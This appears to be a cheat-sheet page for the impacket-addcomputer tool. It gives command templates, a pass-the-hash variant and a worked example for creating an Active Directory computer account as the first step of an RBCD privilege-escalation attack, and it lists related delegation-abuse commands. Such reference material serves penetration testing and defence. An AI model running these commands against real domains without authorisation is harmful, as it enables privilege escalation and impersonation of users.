Impacket Add Computer
Create a new computer account in Active Directory (used for RBCD attacks)
- Tool
- impacket-addcomputer
- Category
- Privilege Escalation / Delegation Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-addcomputer -method LDAPS -computer-name '<computer_name>$' -computer-pass '<computer_pass>' -dc-host <ip> '<domain>/<user>:<password>'
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-addcomputer -method LDAPS -computer-name '<computer_name>$' -computer-pass '<computer_pass>' -dc-host <ip> -hashes ':<hash>' '<domain>/<user>'
Examples
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 192.168.1.2 'corp.local/user:password'
Tags
Related commands
- bloodyAD add badSuccessor Create a Delegated Managed Service Account (dMSA) and chain it via…
- bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
- Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
- Impacket RBCD Write Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
- NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…
- PyWhisker Shadow Credentials Add shadow credentials to a target account's msDS-KeyCredentialLink attribute
- RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer
- Rubeus S4U Delegation Abuse constrained delegation via S4U on Windows using Rubeus